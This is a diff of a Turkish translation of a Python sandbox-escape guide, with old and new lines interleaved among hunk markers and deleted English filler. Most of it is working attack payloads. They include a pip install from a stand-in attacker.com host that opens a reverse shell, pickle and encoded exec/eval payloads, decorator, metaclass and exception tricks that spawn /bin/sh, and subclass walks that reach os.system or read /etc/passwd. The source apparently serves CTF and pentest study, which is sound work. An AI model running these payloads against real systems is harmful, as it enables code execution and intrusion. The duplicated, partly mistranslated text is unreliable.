Burada **önceden yüklenmiş** paketlerin bir listesini bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Bir pickle'dan, sistemde yüklü **keyfi kütüphaneleri içe aktarabilirsiniz**.\
Örneğin, aşağıdaki pickle, yüklendiğinde pip kütüphanesini içe aktaracak:
```python
#Note that here we are importing the pip library so the pickle is created correctly
@ -88,32 +80,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Daha fazla bilgi için pickle'ın nasıl çalıştığına dair şu linke bakabilirsiniz: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
Daha fazla bilgi için pickle'ın nasıl çalıştığını kontrol edin: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip paketi
**@isHaacK** tarafından paylaşılan bir hile
**@isHaacK** tarafından paylaşılan hile
Eğer `pip` veya `pip.main()` erişiminiz varsa, herhangi bir paket kurabilir ve ters kabuk elde etmek için aşağıdaki komutu çağırabilirsiniz:
Eğer `pip` veya `pip.main()` erişiminiz varsa, keyfi bir paket yükleyebilir ve ters kabuk almak için şunu çağırabilirsiniz:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Ters kabuk oluşturmak için paketi buradan indirebilirsiniz. Lütfen kullanmadan önce **paketin sıkıştırmasınıın, `setup.py` dosyasını değiştirin ve ters kabuk için IP'nizi girin**:
Pozitif kabuk oluşturmak için paketi buradan indirebilirsiniz. Kullanmadan önce **paketin sıkıştırmasınımalı, `setup.py` dosyasını değiştirmeli ve ters kabuk için IP'nizi girmelisiniz**:
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
{% hint style="info" %}
Bu paket `Reverse` olarak adlandırılıyor. Ancak, ters kabuktan çıktıktan sonra geri kalan kurulumun başarısız olmasını sağlamak için özel olarak oluşturulmuştur, böylece ayrıldığınızda sunucuda **ekstra bir Python paketi kurulu kalmaz**.
Bu paket `Reverse` olarak adlandırılmıştır. Ancak, ters kabuktan çıktığınızda geri kalan kurulumun başarısız olması için özel olarak hazırlandı, böylece sunucuda ayrıca **herhangi bir ek python paketi bırakmazsınız**.
{% endhint %}
## Python kodunu değerlendirme
{% hint style="warning" %}
Unutmayın, exec çoklu satır dizelerine ve ";" karakterine izin verir, ancak eval etmez (walrus operatörünü kontrol edin)
exec çoklu satır dizelerine ve ";" karakterine izin verir, ancak eval etmez (walrus operatörünü kontrol edin)
{% endhint %}
Belirli karakterler yasaklandıysa, kısıtlamayı **geçmek** için **hex/octal/B64** temsillerini kullanabilirsiniz:
Belirli karakterler yasaklanmışsa, kısıtlamayı **atlatmak** için **hex/octal/B64** temsilini kullanabilirsiniz:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -135,18 +127,6 @@ exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Python kodunu değerlendirmeye izin veren diğer kütüphaneler
There are several other libraries that allow you to evaluate Python code. These libraries can be used as alternatives to the built-in `eval()` function or to bypass Python sandboxes. Some of these libraries include:
- **`exec()` function**: The `exec()` function can be used to execute Python code dynamically. It takes a string as input and executes it as Python code. However, be cautious when using this function as it can execute arbitrary code and pose security risks.
- **`ast` module**: The `ast` module provides a way to parse Python source code into an abstract syntax tree (AST). This allows you to analyze and manipulate the code before executing it. By using the `ast` module, you can bypass certain restrictions imposed by Python sandboxes.
- **`compile()` function**: The `compile()` function can be used to compile Python source code into bytecode or AST objects. This compiled code can then be executed using the `exec()` function. By using `compile()`, you can bypass certain restrictions imposed by Python sandboxes.
- **Third-party libraries**: There are also third-party libraries available that provide additional functionality for evaluating Python code. Some examples include `execjs`, `pysandbox`, and `RestrictedPython`. These libraries may have their own unique features and capabilities.
It is important to note that using these libraries to evaluate Python code can be risky, as it can potentially lead to code injection vulnerabilities. Therefore, it is crucial to carefully review and validate any input before executing it.
```python
#Pandas
import pandas as pd
@ -160,52 +140,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
## Operatörler ve Kısa İpuçları
### Logical Operators (Mantıksal Operatörler)
- `and` operatörü, iki koşulu da sağlaması durumunda `True` döndürür.
- `or` operatörü, en az bir koşulu sağlaması durumunda `True` döndürür.
- `not` operatörü, bir koşulu tersine çevirir.
### Comparison Operators (Karşılaştırma Operatörleri)
- `==` operatörü, iki değerin birbirine eşit olup olmadığını kontrol eder.
- `!=` operatörü, iki değerin birbirine eşit olmadığını kontrol eder.
- `>` operatörü, bir değerin diğerinden büyük olup olmadığını kontrol eder.
- `<` operatörü, bir değerin diğerinden küçük olup olmadığını kontrol eder.
- `>=` operatörü, bir değerin diğerinden büyük veya eşit olup olmadığını kontrol eder.
- `<=` operatörü, bir değerin diğerinden küçük veya eşit olup olmadığını kontrol eder.
### Short Tricks (Kısa İpuçları)
- `x = x + 1` yerine `x += 1` kullanabilirsiniz.
- `x = x - 1` yerine `x -= 1` kullanabilirsiniz.
- `x = x * 2` yerine `x *= 2` kullanabilirsiniz.
- `x = x / 2` yerine `x /= 2` kullanabilirsiniz.
- `x = x % 2` yerine `x %= 2` kullanabilirsiniz.
- `x = x ** 2` yerine `x **= 2` kullanabilirsiniz.
- `x = x // 2` yerine `x //= 2` kullanabilirsiniz.
### Bitwise Operators (Bit Düzeyinde Operatörler)
- `&` operatörü, iki sayının bit düzeyindeki AND işlemini gerçekleştirir.
- `|` operatörü, iki sayının bit düzeyindeki OR işlemini gerçekleştirir.
- `^` operatörü, iki sayının bit düzeyindeki XOR işlemini gerçekleştirir.
- `~` operatörü, bir sayının bit düzeyindeki tersini alır.
- `<<` operatörü, bir sayının bit düzeyinde sola kaydırma işlemini gerçekleştirir.
- `>>` operatörü, bir sayının bit düzeyinde sağa kaydırma işlemini gerçekleştirir.
### Assignment Operators (Atama Operatörleri)
- `=` operatörü, bir değişkene değer atamak için kullanılır.
- `+=` operatörü, bir değişkene değer eklemek için kullanılır.
- `-=` operatörü, bir değişkenden değer çıkarmak için kullanılır.
- `*=` operatörü, bir değişkeni bir değerle çarpmak için kullanılır.
- `/=` operatörü, bir değişkeni bir değere bölmek için kullanılır.
- `%=`, bir değişkenin modunu almak için kullanılır.
- `**=`, bir değişkeni bir değere üs almak için kullanılır.
- `//=`, bir değişkeni bir değere bölerken tam sayı bölme işlemi yapmak için kullanılır.
## Operatörler ve kısa hileler
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -214,9 +149,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Kodlamalar aracılığıyla (UTF-7) korumaları atlatma
## Kod korumalarını aşma (UTF-7)
[**Bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UTF-7 kullanılarak, görünürde bir kum havuzu içinde keyfi Python kodu yüklenip yürütülüyor.
[**Bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7, açık bir kum havuzu içinde keyfi Python kodunu yüklemek ve yürütmek için kullanılmıştır:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -227,13 +162,13 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Ayrıca, diğer kodlamaları kullanarak, örneğin `raw_unicode_escape` ve `unicode_escape`, bunu atlayabilirsiniz.
Ayrıca, diğer kodlamaları kullanarak da bunu atlayabilirsiniz, örn. `raw_unicode_escape` ve `unicode_escape`.
## Çağrı yapmadan Python çalıştırma
## Çağrı yapmadan Python yürütme
Eğer **çağrı yapmanıza izin vermeyen** bir Python hapishanesindeyseniz, yine de **keyfi fonksiyonları, kodu** ve **komutları** çalıştırmanın bazı yolları vardır.
Eğer **çağrı yapmanıza izin vermeyen** bir python hapishanesindeyseniz, yine de **keyfi fonksiyonlar, kod** ve **komutlar** yürütmek için bazı yollar vardır.
### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile RCE
### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile Uzaktan Kod Yürütme (RCE)
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -255,13 +190,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### Nesne oluşturma ve aşırı yükleme ile RCE
### RCE nesneler oluşturma ve aşırı yükleme
Bir sınıfı **tanımlayabilir** ve o sınıfın bir nesnesini **oluşturabilirseniz**, doğrudan çağırmadan **tetiklenebilen** farklı yöntemleri **yazabilir/üzerine yazabilirsiniz**.
Eğer bir **sınıf bildirebilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, **farklı yöntemleri yazabilir/yeniden yazabilirsiniz** ve bunlar **doğrudan çağrılmadan tetiklenebilir**.
#### Özel sınıflarla RCE
Bazı **sınıf yöntemlerini** (_mevcut sınıf yöntemlerini üzerine yazarak veya yeni bir sınıf oluşturarak_) doğrudan çağırmadan **tetiklendiğinde** keyfi kodları **çalıştırmak için** değiştirebilirsiniz.
Bazı **sınıf yöntemlerini** değiştirebilirsiniz (_mevcut sınıf yöntemlerini üzerine yazarak veya yeni bir sınıf oluşturarak_), böylece bunlar **doğrudan çağrılmadan tetiklendiğinde** **keyfi kodları yürütebilirsiniz**.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -311,9 +246,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### [Metasınıflar](https://docs.python.org/3/reference/datamodel.html#metaclasses) kullanarak nesneler oluşturma
#### [Metaclass](https://docs.python.org/3/reference/datamodel.html#metaclasses) kullanarak nesneler oluşturma
Metasınıfların bize izin verdiği temel şey, hedef sınıfı bir metasınıf olarak kullanarak doğrudan yapıcıyı çağırmadan bir sınıf örneği oluşturmaktır.
Metaclass'ların bize izin verdiği temel şey, hedef sınıfın metaclass olarak kullanılarak yeni bir sınıf oluşturarak, **kurucuyu doğrudan çağırmadan bir sınıf örneği oluşturmaktır**.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -328,9 +263,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### İstisnalarla nesne oluşturma
#### İstisnalarla nesneler oluşturma
Bir **istisna tetiklendiğinde**, **Exception**'ın bir nesnesi **doğrudan yapıcıyı çağırmadan oluşturulur** ([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) tarafından bir hile):
Bir **istisna tetiklendiğinde**, **Exception**'dan bir nesne **oluşturulur** ve doğrudan yapıcıyı çağırmak zorunda kalmazsınız ([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)den bir hile):
```python
class RCE(Exception):
def __init__(self):
@ -351,61 +286,6 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
## You can also use the tricks from the previous section to get RCE with this object
```
### Daha Fazla Uzaktan Kod Çalıştırma (RCE)
Bu bölümde, Python kum havuzlarını atlamak için kullanılabilecek daha fazla teknik hakkında bilgi bulacaksınız.
#### 1. `os.system()` Kullanma
`os.system()` fonksiyonu, bir komutu çalıştırmak için kullanılır. Bu fonksiyon, Python kum havuzlarını atlamak için etkili bir yöntem olabilir. Aşağıdaki örnek, `os.system()` kullanarak bir komutun nasıl çalıştırılabileceğini göstermektedir:
```python
import os
command = "ls -la"
os.system(command)
```
Bu örnekte, `os.system()` fonksiyonu, `ls -la` komutunu çalıştırır ve sonucunu ekrana yazdırır.
#### 2. `subprocess.Popen()` Kullanma
`subprocess.Popen()` fonksiyonu, bir komutu çalıştırmak için kullanılır ve `os.system()` fonksiyonuna benzer şekilde Python kum havuzlarını atlamak için kullanılabilir. Aşağıdaki örnek, `subprocess.Popen()` kullanarak bir komutun nasıl çalıştırılabileceğini göstermektedir:
```python
import subprocess
command = "ls -la"
subprocess.Popen(command, shell=True)
```
Bu örnekte, `subprocess.Popen()` fonksiyonu, `ls -la` komutunu çalıştırır ve sonucunu ekrana yazdırır.
#### 3. `eval()` Kullanma
`eval()` fonksiyonu, bir Python ifadesini değerlendirmek için kullanılır. Bu fonksiyon, Python kum havuzlarını atlamak için kullanılabilecek bir diğer yöntemdir. Aşağıdaki örnek, `eval()` kullanarak bir Python ifadesinin nasıl değerlendirilebileceğini göstermektedir:
```python
expression = "__import__('os').system('ls -la')"
eval(expression)
```
Bu örnekte, `eval()` fonksiyonu, `__import__('os').system('ls -la')` ifadesini değerlendirir ve sonucunu ekrana yazdırır.
#### 4. `exec()` Kullanma
`exec()` fonksiyonu, bir Python kodunu çalıştırmak için kullanılır. Bu fonksiyon, Python kum havuzlarını atlamak için kullanılabilecek bir diğer yöntemdir. Aşağıdaki örnek, `exec()` kullanarak bir Python kodunun nasıl çalıştırılabileceğini göstermektedir:
```python
code = """
import os
os.system('ls -la')
"""
exec(code)
```
Bu örnekte, `exec()` fonksiyonu, `import os\nos.system('ls -la')` kodunu çalıştırır ve sonucunu ekrana yazdırır.
Bu teknikler, Python kum havuzlarını atlamak için kullanılabilecek bazı temel yöntemleri göstermektedir. Ancak, her durumda etkili olmayabilirler ve dikkatli bir şekilde kullanılmalıdırlar. Ayrıca, güvenlik açıklarına neden olabilecek potansiyel riskleri de göz önünde bulundurmalısınız.
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
@ -427,26 +307,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### builtins yardımıyla dosya okuma & lisans
Bu yöntem, Python kum havuzlarını atlamak için kullanılabilir. Kum havuzları, Python kodunun güvenli bir şekilde çalışmasını sağlamak için kullanılan güvenlik önlemleridir. Bu yöntem, `builtins` modülündeki `help` ve `license` fonksiyonlarını kullanarak dosya okumayı sağlar.
```python
import builtins
def read_file(file_path):
with builtins.open(file_path, 'r') as file:
content = file.read()
return content
file_path = '/path/to/file.txt'
file_content = read_file(file_path)
print(file_content)
```
Bu kod, `builtins` modülündeki `open` fonksiyonunu kullanarak belirtilen dosyayı okur. Dosya içeriği, `read` fonksiyonuyla okunur ve `content` değişkenine atanır. Son olarak, `file_content` değişkeni ekrana yazdırılır.
Bu yöntem, Python kum havuzlarını atlamak için etkili bir yol sağlar. Ancak, bu tür bir kullanım, güvenlik açıklarına neden olabilir ve yasalara aykırı olabilir. Bu nedenle, bu yöntemi yalnızca yasal ve etik sınırlar içinde kullanmalısınız.
### builtins yardımıyla dosya okuma ve lisans
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -455,30 +316,22 @@ a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
## Dahili Fonksiyonlar
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
* [**Python2'nin dahili fonksiyonları**](https://docs.python.org/2/library/functions.html)
* [**Python3'ün dahili fonksiyonları**](https://docs.python.org/3/library/functions.html)
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Yerleşik Fonksiyonlar
* [**Python2'nin yerleşik fonksiyonları**](https://docs.python.org/2/library/functions.html)
* [**Python3'ün yerleşik fonksiyonları**](https://docs.python.org/3/library/functions.html)
Eğer **`__builtins__`** nesnesine erişebiliyorsanız, kütüphaneleri içe aktarabilirsiniz (dikkat edin, burada ayrıca son bölümde gösterilen diğer dize gösterimini de kullanabilirsiniz):
Eğer **`__builtins__`** nesnesine erişebilirseniz kütüphaneleri içe aktarabilirsiniz (unutmayın ki burada ayrıca son bölümde gösterilen diğer string temsillerini de kullanabilirsiniz):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### __builtins__ Yoksa
### Dahili Fonksiyonlar
`__builtins__` olmadığında, hiçbir şeyi içe aktaramaz, hatta dosya okuyup yazamazsınız çünkü **tüm global fonksiyonlar** (`open`, `import`, `print` gibi) **yüklü değildir**.\
Ancak, **varsayılan olarak python birçok modülü belleğe yükler**. Bu modüller zararsız gibi görünebilir, ancak bazıları içlerinde erişilebilen **tehlikeli** işlevleri de içe aktarır ve hatta **keyfi kod yürütme** elde etmek için kullanılabilir.
`__builtins__`'e sahip olmadığınızda, **hiçbir şeyi içe aktaramayacak** ve hatta dosya okuyup yazamayacaksınız çünkü **tüm global fonksiyonlar** (örneğin `open`, `import`, `print`...) **yüklenmemiştir**.\
Ancak, **varsayılan olarak python birçok modülü belleğe yükler**. Bu modüller zararsız görünebilir, ancak bazıları içlerinde **tehlikeli** işlevsellikler de **içe aktarabilir** ve hatta **keyfi kod yürütme** elde etmek için erişilebilir olabilir.
Aşağıdaki örneklerde, bu "**zararsız**" modüllerin içinde yüklenen **tehlikeli** **işlevlere** erişmek için nasıl **kötüye kullanabileceğinizi** gözlemleyebilirsiniz.
Aşağıdaki örneklerde, bu "**zararsız**" modüllerin **içinde yüklü** olan **tehlikeli işlevselliklere** **erişmek** için nasıl **kötüye kullanılabileceğini** görebilirsiniz.
**Python2**
```python
@ -502,16 +355,6 @@ import __builtin__
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
```
#### Python3
Python3 is a powerful programming language that is widely used for various purposes, including web development, data analysis, and automation. It provides a rich set of libraries and frameworks that make it easy to develop complex applications.
However, Python3 also has a feature called "sandboxing" that is designed to restrict the execution of potentially malicious code. Sandboxing is commonly used in cloud/SaaS platforms to provide a secure environment for running untrusted code.
In this section, we will explore various techniques to bypass Python3 sandboxes and execute arbitrary code. These techniques can be useful for penetration testers and security researchers to identify vulnerabilities in sandboxed environments.
Please note that bypassing Python3 sandboxes is a sensitive topic and should only be done with proper authorization and for legitimate purposes. Unauthorized access or misuse of these techniques can lead to legal consequences.
Let's dive into the world of Python3 sandbox bypass techniques and learn how to effectively bypass these security measures.
```python
# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
@ -530,7 +373,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Aşağıda, builtins'i bulabileceğiniz onlarca/yüzlerce yer bulmak için daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) bulunmaktadır.
[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) bulunmaktadır ve bu fonksiyon sayesinde **builtins**'i bulabileceğiniz onlarca/**yüzlerce yer** bulunmaktadır.
#### Python2 ve Python3
```python
@ -539,49 +382,6 @@ __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__
__builtins__["__import__"]('os').system('ls')
```
### Dahili yükler
Bu bölümde, Python sandıklarını atlamak için kullanılabilecek bazı dahili yükler bulunmaktadır. Bu yükler, Python'un dahili işlevlerini kullanarak sandık mekanizmalarını etkisiz hale getirmeyi amaçlamaktadır.
#### `__import__`
Bu yöntem, `__import__` işlevini kullanarak sandık mekanizmalarını atlamayı hedefler. `__import__` işlevi, Python'da modüllerin dinamik olarak yüklenmesini sağlar. Bu nedenle, sandık mekanizmaları genellikle bu işlevi engellemeye çalışır. Ancak, bazı durumlarda `__import__` işlevi hala kullanılabilir.
```python
__import__('os').system('command')
```
Bu örnekte, `os` modülü `__import__` işlevi kullanılarak yüklenir ve ardından `system` işlevi kullanılarak bir komut çalıştırılır.
#### `eval`
`eval` işlevi, bir dizeyi Python koduna dönüştürerek çalıştırır. Bu, sandık mekanizmalarını atlamak için kullanılabilecek bir başka yöntemdir.
```python
eval("__import__('os').system('command')")
```
Bu örnekte, `__import__` işlevi `eval` işlevi kullanılarak çalıştırılır ve ardından `system` işlevi kullanılarak bir komut çalıştırılır.
#### `exec`
`exec` işlevi, bir dizeyi Python kodu olarak çalıştırır. Bu, sandık mekanizmalarını atlamak için kullanılabilecek bir başka yöntemdir.
```python
exec("__import__('os').system('command')")
```
Bu örnekte, `__import__` işlevi `exec` işlevi kullanılarak çalıştırılır ve ardından `system` işlevi kullanılarak bir komut çalıştırılır.
#### `compile`
`compile` işlevi, bir dizeyi Python koduna derler. Bu, sandık mekanizmalarını atlamak için kullanılabilecek bir başka yöntemdir.
```python
code = compile("__import__('os').system('command')", "<string>", "exec")
exec(code)
```
Bu örnekte, `__import__` işlevi `compile` işlevi kullanılarak derlenir ve ardından `exec` işlevi kullanılarak bir komut çalıştırılır.
```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
@ -589,7 +389,7 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Global ve yerel değişkenler
## Globals ve locals
**`globals`** ve **`locals`** kontrol etmek, erişebileceğiniz şeyleri bilmek için iyi bir yoldur.
```python
@ -615,15 +415,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) bulunmaktadır, burada **global değişkenleri** bulabileceğiniz onlarca/**yüzlerce yer** bulunmaktadır.
[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) **bulabileceğiniz onlarca/yüzlerce yer** bulmak için.
## Keyfi Yürütme Keşfetme
## Keyfi Yürütme Keşfi
Burada, daha tehlikeli işlevlerin nasıl kolayca keşfedileceğini ve daha güvenilir saldırılar önerileceğiniıklamak istiyorum.
Burada, **daha tehlikeli işlevlerin yüklendiğini kolayca keşfetmenin** ve daha güvenilir saldırıları önermenin nasıl olduğunuıklamak istiyorum.
#### Geçişlerle alt sınıflara erişim
#### Atlatmalarla alt sınıflara erişme
Bu teknikte en hassas olanlardan biri, **temel alt sınıflara erişebilmektir**. Önceki örneklerde bunu `''.__class__.__base__.__subclasses__()` kullanarak yapmıştık, ancak **başka mümkün yollar** da vardır:
Bu teknikte en hassas kısımlardan biri, **temel alt sınıflara erişebilmektir**. Önceki örneklerde bunu `''.__class__.__base__.__subclasses__()` kullanarak yapmıştık ancak **başka mümkün yollar** da vardır:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -651,18 +451,18 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### Tehlikeli kütüphanelerin bulunması
### Tehlikeli kütüphanelerin yüklenmesini bulma
Örneğin, **`sys`** kütüphanesiyle **keyfi kütüphaneler içe aktarılabilir** olduğunu bildiğinizde, içinde **sys içe aktarılmış olan tüm yüklenmiş modülleri** arayabilirsiniz:
Örneğin, **`sys`** kütüphanesi ile **keyfi kütüphanelerin yüklenebileceğini** bildiğinizde, içinde **sys** kütüphanesini içe aktaran tüm **yüklenmiş modülleri** arayabilirsiniz:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Bunların birçok çeşidi var ve **sadece bir tanesine ihtiyacımız var** komutları çalıştırmak için:
Çok fazla var, ve **sadece bir tanesine ihtiyacımız var** komutları yürütmek için:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Aynı şeyi **diğer kütüphanelerle** yapabiliriz, bu kütüphaneler komutları **yürütmek** için kullanılabileceğini bildiğimiz kütüphanelerdir:
Aynı şeyi yapabiliriz, sadece **diğer kütüphanelerle** biliriz ki **komutları yürütmek** için kullanılabilir:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -697,7 +497,7 @@ Aynı şeyi **diğer kütüphanelerle** yapabiliriz, bu kütüphaneler komutlar
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Ayrıca, kötü amaçlı kütüphaneleri yükleyen modülleri bile arayabiliriz:
Ayrıca, hangi modüllerin kötü amaçlı kütüphaneleri yüklediğini bile araştırabiliriz:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
